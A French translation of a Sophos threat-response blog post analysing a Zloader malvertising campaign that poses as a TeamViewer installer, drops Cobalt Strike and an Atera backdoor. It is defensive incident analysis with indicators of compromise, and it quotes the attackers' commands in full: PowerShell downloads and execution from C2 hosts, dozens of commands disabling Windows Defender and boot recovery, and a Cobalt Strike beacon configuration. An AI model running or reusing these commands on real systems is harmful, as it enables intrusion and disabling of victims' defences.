Zloader
Security Operations

Zloader installe des backdoors d’accès à distance et diffuse Cobalt Strike

Zloader est un cheval de Troie bancaire ayant des liens historiques avec le malware Zeus.

Récemment, les affiliés aux ransomwares Egregor et Ryuk ont ​​utilisé Zloader comme point d’entrée initial. Zloader présentait des capacités d’accès à distance VNC et était proposé sur le tristement célèbre forum cybercriminel russophone exploit[.]in.

Zloader infecte les utilisateurs en utilisant de la publicité Web malveillante afin de rediriger ces derniers vers le téléchargement de fichiers MSI malveillants. Au cours de l’année écoulée, les fichiers MSI Zloader ont été déguisés en programmes d’installation pour des applications de travail à distance telles que Zoom, TeamViewer et Discord.

L’équipe Sophos MTR (Managed Threat Response) a récemment détecté et répondu à une campagne Zloader qui a diffusé Cobalt Strike et installé Atera Agent afin d’obtenir un accès à distance permanent. Sophos MTR a pu observer que Zloader exploitait une vulnérabilité (CVE-2013-3900) connue dans Windows, qui permettait d’ajouter du contenu de script malveillant à des fichiers signés numériquement, lesquels étaient fournis par Microsoft. Au cours du mois dernier, deux autres entreprises ont partagé des recherches liées à cette campagne. Checkpoint a d’abord publié des détails sur la manière avec laquelle Zloader utilisait abusivement CVE-2013-3900. Peu de temps après, Walmart GlobalTech a détaillé les recherches menées sur cette campagne d’attaque, notamment leurs conclusions selon lesquelles “les infections sont principalement localisées aux États-Unis et en Europe”. Compte tenu des observations uniques de Sophos concernant l’accès initial et le déploiement de la balise Cobalt Strike, nous avons souhaité publier nos propres recherches.

Chronologie des événementsZloader

19:29

Le vendredi 10 décembre, un utilisateur d’une entreprise automobile américaine a tenté d’installer un outil d’accès à distance sur son ordinateur en recherchant sur Google “teamviewer download“. Malheureusement, cet utilisateur a accidentellement cliqué sur une publicité malveillante, téléchargé puis exécuté un package d’installation malveillant appelé TeamViewer.msi.

Le téléchargement malveillant a été effectué à l’aide du domaine teamviewer-u[.]com. Ce domaine command and control partageait la même adresse IP d’hébergement que le domaine Zloader zoomvideoconference[.]com au moment de notre analyse.

19:30

Lorsque le TeamViewer.msi téléchargé s’est exécuté, il a inscrit sur le disque un exécutable malveillant nommé internal.exe. Cet exécutable a été lancé parallèlement à l’application TeamViewer légitime :

"C:\Program Files (x86)\TeamViewer Germany GmbH\TeamViewer\internal.exe
"C:\Program Files (x86)\TeamViewer Germany GmbH\TeamViewer\TeamViewer_Service.exe

internal.exe a ensuite lancé un script d’installation qui a téléchargé et exécuté des malwares supplémentaires à partir d’un serveur command and control Zloader, clouds222[.]com.

cmd.exe /C C:/Users/User/AppData/Roaming/internal/launch.bat
powershell Invoke-WebRequest  https[://]clouds222[.]com/t1m/index/processingSetRequestBat2/?servername=msi -OutFile flash.bat
C:\Windows\System32\cmd.exe" /c C:\Users\User\AppData\Roaming\internal\flash.bat

Le script téléchargé, dénommé flash.bat, a alors exécuté un script VBS conçu pour contourner le contrôle de l’application utilisateur et élever les privilèges de l’acteur malveillant.

"C:\WINDOWS\system32\cacls.exe" "C:\WINDOWS\system32\config\system"
"C:\WINDOWS\System32\WScript.exe" "C:\Users\User\AppData\Local\Temp\getadmin.vbs"

19:31 

flash.bat s’est ensuite exécuté une deuxième fois, mais cette fois, il a été utilisé pour télécharger des charges virales et des outils supplémentaires à partir de clouds222[.]com.

powershell Invoke-WebRequest https[:]//clouds222[.]com/t1m/index/processingSetRequestBat3/?servername=msi -OutFile appContast.dll
powershell Invoke-WebRequest https[:]//clouds222[.]com/t1m/index/processingSetRequestBat4/?servername=msi -OutFile flashupdate.ps1
PowerShell -NoProfile -ExecutionPolicy Bypass -Command "& './flashupdate.ps1'"
ping 127.0.0.1 -n 3
cmd /c del "C:\Users\User\AppData\Roaming\internal\flash.bat"
PowerShell -NoProfile -ExecutionPolicy Bypass -Command "& './flashupdate.ps1'"

Environ deux minutes après l’exécution initiale du malware MSI, le fichier téléchargé flashupdate.ps1 s’est exécuté. Ce script contenait des fonctionnalités pour installer GnuPg et déchiffrer les charges virales.

"C:\WINDOWS\System32\Wbem\WMIC.exe" computersystem get domain
"C:\WINDOWS\system32\ARP.EXE" -a
"C:\Users\User\AppData\Roaming\gpg4win-2.2.5.exe" /S
"C:\WINDOWS\system32\cmd.exe /c ""C:\Users\User\AppData\Roaming\ais.bat""

Le script PowerShell flashupdate.ps1 a alors exécuté un autre script de post-exploitation ais.bat. Ce script batch a utilisé commandaadmin[.]com pour télécharger une copie renommée de l’outil NSudo, un programme dont les pirates abusent couramment pour exécuter des processus avec des privilèges élevés (TrustedInstaller). Le script utilisait reg.exe pour modifier plusieurs clés de registre afin d’échapper à la détection, comme la suppression des notifications pour Windows Defender. Bcdedit.exe est utilisé pour désactiver la réparation du démarrage de Windows avant de désactiver Windows Defender via “sc config“. Nous pensons que ais.bat est dérivé d’un script open source appelé “Defeat-Defender“, lequel prétend “démanteler intégralement la protection de Windows Defender” sur la base des similitudes au niveau des commandes observées.

powershell Invoke-WebRequest https[:]//commandaadmin[.]com/adminpriv.exe -OutFile adminpriv.exe
adminpriv -U:T -ShowWindowMode:Hide reg add "HKLM\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d "1" /f
adminpriv -U:T -ShowWindowMode:Hide reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d "1" /f
adminpriv -U:T -ShowWindowMode:Hide reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableCMD" /t REG_DWORD /d "1" /f
adminpriv -U:T -ShowWindowMode:Hide reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableRegistryTools" /t REG_DWORD /d "1" /f
adminpriv -U:T -ShowWindowMode:Hide reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d "1" /f
powershell.exe -command "Add-MpPreference -ExclusionExtension ".bat""
adminpriv -U:T -ShowWindowMode:Hide bcdedit /set {default} recoveryenabled No
adminpriv -U:T -ShowWindowMode:Hide bcdedit /set {default} bootstatuspolicy ignoreallfailures
adminpriv -U:T sc config WinDefend start= disabled
powershell Invoke-WebRequest https[:]//commandaadmin[.]com/auto.bat -OutFile auto.bat

Les charges virales téléchargées appContast.dll et apiicontrast.dl exploitent une vulnérabilité connue dans Windows, CVE-2013-3900. Ainsi, Zloader a pu ajouter du contenu de script malveillant à un fichier signé numériquement par Microsoft. Le contenu du script ajouté est ensuite exécuté à l’aide du binaire Windows mshta.exe.

cmd /c C:\Windows\System32\mshta.exe C:\Users\User\AppData\Roaming\appContast.dll
cmd /c C:\Windows\System32\mshta.exe C:\Users\User\AppData\Roaming\apiicontrast.dll

Des commandes supplémentaires d’évasion de la défense ont été observées lors de l’exécution de appContrast.dll. PowerShell a été utilisé pour altérer les modules Windows Defender :

Add-MpPreference -ExclusionPath 'C:\Users\User\AppData\Roaming'
Add-MpPreference -ExclusionPath 'C:\Users\User\AppData\Roaming*'
Add-MpPreference -ExclusionPath 'C:\Users\User\AppData\Roaming\*'
Add-MpPreference -ExclusionPath 'C:\Users\User\*'
Add-MpPreference -ExclusionPath 'C:\Users\User'
Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\*'
Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\'
Set-MpPreference -MAPSReporting 0
Add-MpPreference -ExclusionProcess 'regsvr32'
Add-MpPreference -ExclusionProcess 'powershell.exe'
Add-MpPreference -ExclusionExtension '.exe'
Add-MpPreference -ExclusionProcess 'regsvr32*'
Add-MpPreference -ExclusionProcess '.dll'
Add-MpPreference -ExclusionProcess '*.dll'
Set-MpPreference -PUAProtection disable
Set-MpPreference -EnableControlledFolderAccess Disabled
Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableBehaviorMonitoring $true
Set-MpPreference -DisableIOAVProtection $true
Set-MpPreference -DisablePrivacyMode $true
Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true
Set-MpPreference -DisableArchiveScanning $true
Set-MpPreference -DisableIntrusionPreventionSystem $true
Set-MpPreference -DisableScriptScanning $true
Set-MpPreference -SubmitSamplesConsent 2
Add-MpPreference -ExclusionProcess '*.exe'
Add-MpPreference -ExclusionProcess 'explorer.exe'
Add-MpPreference -ExclusionProcess '.exe'
Set-MpPreference -HighThreatDefaultAction 6 -Force
Set-MpPreference -ModerateThreatDefaultAction 6
Set-MpPreference -LowThreatDefaultAction 6
Set-MpPreference -SevereThreatDefaultAction 6
Set-MpPreference -ScanScheduleDay 8
Add-MpPreference -ExclusionProcess 'msiexec.exe'
Add-MpPreference -ExclusionProcess 'rundll32.exe'
Add-MpPreference -ExclusionProcess 'rundll32*'

Lorsque apiicontrast.dll est exécuté avec MSHTA, un script VBS de veille est lancé avant le déchiffrement et l’exécution d’une charge virale Cobalt Strike, zoom.dll. Ce mot de passe de déchiffrement GPG a été observé pour la première fois associé à Zloader par l’utilisateur Twitter @nao_sec le 28 novembre.

"C:\WINDOWS\System32\WScript.exe" "C:\Users\User\AppData\Local\Temp\WScriptSleeper.vbs" 45000
"C:\Windows\System32\cmd.exe" /c PowerShell -NoProfile -ExecutionPolicy Bypass -command Import-Module GnuPg; Remove-Encryption -FolderPath C:\Users\User\AppData\Roaming -Password 'bibigroup'
"C:\Windows\System32\cmd.exe" /c rundll32.exe zoom2.dll DllRegisterServer
"C:\Windows\System32\cmd.exe" /c zoom1.msi
"C:\Windows\System32\cmd.exe" /c regsvr32 zoom.dll

Parallèlement, msiexec a installé une backdoor d’accès à distance via Atera Agent. Les affiliés au ransomware Conti utilisent fréquemment Atera Agent ainsi que d’autres outils d’accès à distance.

"C:\Program Files (x86)\TeamViewer Germany GmbH\TeamViewer\internal.exe"
"C:\Program Files (x86)\ATERA Networks\AteraAgent\AteraAgent.exe" /i /IntegratorLogin="milliesoho@yahoo.com" /CompanyId="1" /IntegratorLoginUI="" /CompanyIdUI="" /FolderId="" /AccountId=""
NET STOP AteraAgent
taskkill /f /im AteraAgent.exe
"C:\Program Files (x86)\ATERA Networks\AteraAgent\AteraAgent.exe" /u
"C:\Program Files\ATERA Networks\AteraAgent\AteraAgent.exe" /i /IntegratorLogin="" /CompanyId="" /IntegratorLoginUI="" /CompanyIdUI=""

La charge virale Cobalt Strike déchiffrée zoom.dll tente de communiquer avec le serveur C2 sdilok[.]com/jquery-3[.]3[.]1[.]min[.]js en utilisant la configuration BEACON ci-dessous.

{
    "BeaconType": [
        "HTTP"
    ],
    "Port": 80,
    "SleepTime": 5000,
    "MaxGetSize": 1403644,
    "Jitter": 10,
    "PublicKey": "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCEEz909XdV3PkUiLxDGpWVdPD3B4EbAj5EfUWeabGyL6L
tDBTgG0rgRmafGGYCCaNU51WT4X9vu0vpXJvm+j0xmQcd3oy3ZmJfZpmNvgjGMYi4O077
fl7Mda1Q+plqpnJ3Oi8Mv5VIccWGfuPbRq8dLT38rkb20IVTCYnrle/AHQIDAQABAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==",
    "PublicKey_MD5": "c60a248cc3e3ad52088035b21bf170a4",
    "C2Server": "sdilok.com,/jquery-3.3.1.min.js",
    "UserAgent": "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko",
    "HttpPostUri": "/jquery-3.3.2.min.js",
    "Malleable_C2_Instructions": [
        "Remove 1522 bytes from the end",
        "Remove 84 bytes from the beginning",
        "Remove 3931 bytes from the beginning",
        "Base64 URL-safe decode",
        "XOR mask w/ random key"
    ],
    "HttpGet_Metadata": {
        "ConstHeaders": [
            "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
            "Referer: http://code.jquery.com/",
            "Accept-Encoding: gzip, deflate"
        ],
        "ConstParams": [],
        "Metadata": [
            "base64url",
            "prepend \"__cfduid=\"",
            "header \"Cookie\""
        ],
        "SessionId": [],
        "Output": []
    },
    "HttpPost_Metadata": {
        "ConstHeaders": [
            "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
            "Referer: http://code.jquery.com/",
            "Accept-Encoding: gzip, deflate"
        ],
        "ConstParams": [],
        "Metadata": [],
        "SessionId": [
            "mask",
            "base64url",
            "parameter \"__cfduid\""
        ],
        "Output": [
            "mask",
            "base64url",
            "print"
        ]
    },
    "SpawnTo": "AAAAAAAAAAAAAAAAAAAAAA==",
    "SSH_Banner": "",
    "HttpGet_Verb": "GET",
    "HttpPost_Verb": "POST",
    "HttpPostChunk": 0,
    "Spawnto_x86": "%windir%\\syswow64\\dllhost.exe",
    "Spawnto_x64": "%windir%\\sysnative\\dllhost.exe",
    "CryptoScheme": 0,
    "Proxy_Behavior": "Use IE settings",
    "Watermark": 0,
    "bStageCleanup": "True",
    "bCFGCaution": "False",
    "KillDate": 0,
    "bProcInject_StartRWX": "False",
    "bProcInject_UseRWX": "False",
    "bProcInject_MinAllocSize": 17500,
    "ProcInject_PrependAppend_x86": [
        "kJA=",
        "Empty"
    ],
    "ProcInject_PrependAppend_x64": [
        "kJA=",
        "Empty"
    ],
    "ProcInject_Execute": [
        "ntdll:RtlUserThreadStart",
        "CreateThread",
        "NtQueueApcThread-s",
        "CreateRemoteThread",
        "RtlCreateUserThread"
    ],
    "ProcInject_AllocationMethod": "NtMapViewOfSection",
    "ProcInject_Stub": "Ms1B7fCBDFtfSY7fRzHMbQ==",
    "bUsesCookies": "True",
    "HostHeader": "",
    "smbFrameHeader": "AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=",
    "tcpFrameHeader": "AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=",
    "DNS_strategy": "round-robin",
    "DNS_strategy_rotate_seconds": -1,
    "DNS_strategy_fail_x": -1,
    "DNS_strategy_fail_seconds": -1
}

Réponse et remédiation

19:34

Sophos EDR/XDR détecte la charge virale Cobalt Strike en mémoire sous la désignation “C2_6a T1071.001 mem/cobalt-d” et prend automatiquement des mesures pour mettre fin au processus malveillant rundll32.exe et nettoyer la charge virale Cobalt Strike du disque.

19:35

L’équipe Sophos MTR (Managed Threat Response) dispose d’une investigation spécifique créée pour les commandes suspectes et la détection de Cobalt Strike. Ce dernier est un agent d’accès à distance largement utilisé par les adversaires et est un signe avant-coureur classique annonçant l’arrivée d’un ransomware.

19:37

Un analyste Sophos MTR a commencé à répondre au cas, seulement six minutes après l’exécution initiale du malware. L’équipe MTR a isolé l’hôte impacté pour empêcher toute autre connectivité réseau lors de la réponse. Au cours de l’investigation, l’équipe MTR a collaboré étroitement avec les SophosLabs pour prendre immédiatement les mesures nécessaires afin d’aider à sécuriser l’ensemble des clients Sophos. L’équipe MTR a désactivé la backdoor Atera et a collaboré avec le client concerné pour limiter avec succès l’impact au niveau du poste de travail.

Indicateurs de compromission (IoC)

Indicateur Type
teamviewer-u[.]com Command and Control
zoomvideoconference[.]com Command and Control
https[:]//sdilok[.]com/jquery-3.3.1.min.js Command and Control – Cobalt Strike
https[:]//clouds222[.]com Command and Control
https[:]//commandaadmin[.]com Command and Control
a187d9c0b4bdb4d0b5c1d2bdbcb65090dcee5d8c File – ‘TeamViewer.msi’
3eda16e4d60e1a79ad97fc1d195ccbe5d97e699f File – ‘auto.bat’
f4879eb2c159c4e73139d1ac5d5c8862af8f1719 File – ‘internal.exe
3a80a49efaac5d839400e4fb8f803243fb39a513 File – ‘adminpriv.exe’
5c59ef0d8c0919082128e98a757d844c0ace54e3 File – ‘ais.bat’
23136ecb2edb263db390b6b9fcf9000ff23441a9 File – ‘appContast.dll’
5912bfbd07dec5dd7798e7cb413299c788a8fd9e File – ‘flashupdate.ps1’
5ec4ba41b2066654d8e0dfd0aea770197ad2f21c File – ‘zoom1.msi.gpg’
b350b770b8b79ffb16574d59e4ca4fafacca19cd File – ‘zoom1.msi’
41a47cc8807121cac19597bc0455084e714604bc File – ‘zoom2.dll.gpg’
2c15d43aab71465c9308e0cc306339925d47dea3 File – ‘zoom2.dll’

 

Mapping MITRE ATT&CK

MITRE Tactic MITRE Technique
Initial Access T1189 – Drive-by Compromise
Execution T1059 – Command and Scripting Interpreter

T1204 – User Execution

Persistence T1543 – Create or Modify System Process
Privilege Escalation T1055 – Process Injection

T1548 – Abuse Elevation Control Mechanism

Defense Evasion T1218 – Signed Binary Proxy Execution

T1562 – Impair Defenses

T1036 – Masquerading

T1140 – Deobfuscate/ Decode Files or Information

Command & Control T1219 – Remote Access Software

T1071 – Application Layer Protocol: Web Protocols

Discovery T1482 – Domain Trust Discovery
Exfiltration T1041 – Exfiltration Over C&C Channel

 

Rédigé et développé par Colin Cowie avec le soutien de Stan Andic et de l’équipe Sophos MTR.

Billet inspiré de Zloader Installs Remote Access Backdoors and Delivers Cobalt Strike, sur le Blog Sophos.